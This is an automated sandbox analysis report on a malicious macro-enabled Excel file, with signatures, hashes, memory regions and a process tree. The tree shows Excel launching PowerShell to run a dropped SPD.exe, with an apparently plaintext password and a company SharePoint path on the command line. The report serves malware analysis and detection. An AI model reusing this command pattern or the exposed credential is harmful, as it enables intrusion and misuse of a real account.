Analysis

  • max time kernel
    4294209s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20220311-en
  • submitted
    29/03/2022, 23:25

General

  • Target
    b4dfa03a75594d4eb89ee173a82f976245ef874079ffa9359c748d5ee9ff5d33.xlsm
  • Size 1.6MB
  • Sample220329-3eqgaaghbr
  • SHA256 b4dfa03a75594d4eb89ee173a82f976245ef874079ffa9359c748d5ee9ff5d33
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b4dfa03a75594d4eb89ee173a82f976245ef874079ffa9359c748d5ee9ff5d33.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1980
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1108
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "& ($env:TEMP + \"\SPD.exe\") \"[email protected]\" \"Nhh2H5urwHv0\" \"https://finansco.sharepoint.com/Delte dokumenter/Finansco Gruppen Fellesmappe/Modellporteføljer/\" \"Produktark MPF Kopi.xlsx\""
        2⤵
        • Process spawned unexpected child process
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1528
        • C:\Users\Admin\AppData\Local\Temp\SPD.exe
          "C:\Users\Admin\AppData\Local\Temp\SPD.exe" [email protected] Nhh2H5urwHv0 "https://finansco.sharepoint.com/Delte dokumenter/Finansco Gruppen Fellesmappe/Modellporteføljer/" "Produktark MPF Kopi.xlsx"
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:1556

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          SPD.exe

          • Path C:\Users\Admin\AppData\Local\Temp\SPD.exe
          • Size 288KB
          • SHA256 9a305116bdb925cd20126f7ee3cc07174ca90bf558cf5e72665093297695bcd6
          • MD5 SHA1 SHA512

          SPD.exe

          • Path C:\Users\Admin\AppData\Local\Temp\SPD.exe
          • Size 288KB
          • SHA256 9a305116bdb925cd20126f7ee3cc07174ca90bf558cf5e72665093297695bcd6
          • MD5 SHA1 SHA512

          SPD.exe

          • Path \Users\Admin\AppData\Local\Temp\SPD.exe
          • Size 288KB
          • SHA256 9a305116bdb925cd20126f7ee3cc07174ca90bf558cf5e72665093297695bcd6
          • MD5 SHA1 SHA512

          SPD.exe

          • Path \Users\Admin\AppData\Local\Temp\SPD.exe
          • Size 288KB
          • SHA256 9a305116bdb925cd20126f7ee3cc07174ca90bf558cf5e72665093297695bcd6
          • MD5 SHA1 SHA512

          SPD.exe

          • Path \Users\Admin\AppData\Local\Temp\SPD.exe
          • Size 288KB
          • SHA256 9a305116bdb925cd20126f7ee3cc07174ca90bf558cf5e72665093297695bcd6
          • MD5 SHA1 SHA512

          memory/1108-59-0x000007FEFB551000-0x000007FEFB553000-memory.dmp

          memory/1528-62-0x0000000075081000-0x0000000075083000-memory.dmp

          memory/1528-63-0x0000000069770000-0x0000000069D1B000-memory.dmp

          memory/1528-64-0x0000000002592000-0x0000000002594000-memory.dmp

          memory/1528-65-0x0000000002490000-0x00000000024D3000-memory.dmp

          memory/1556-74-0x000000001AD70000-0x000000001AD72000-memory.dmp

          memory/1556-73-0x0000000000CC0000-0x0000000000D0C000-memory.dmp

          memory/1556-72-0x0000000000E40000-0x0000000000E8E000-memory.dmp

          memory/1980-54-0x000000002F711000-0x000000002F714000-memory.dmp

          memory/1980-55-0x0000000070D41000-0x0000000070D43000-memory.dmp

          memory/1980-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/1980-57-0x0000000071D2D000-0x0000000071D38000-memory.dmp

          memory/1980-60-0x0000000008DC0000-0x0000000009A0A000-memory.dmp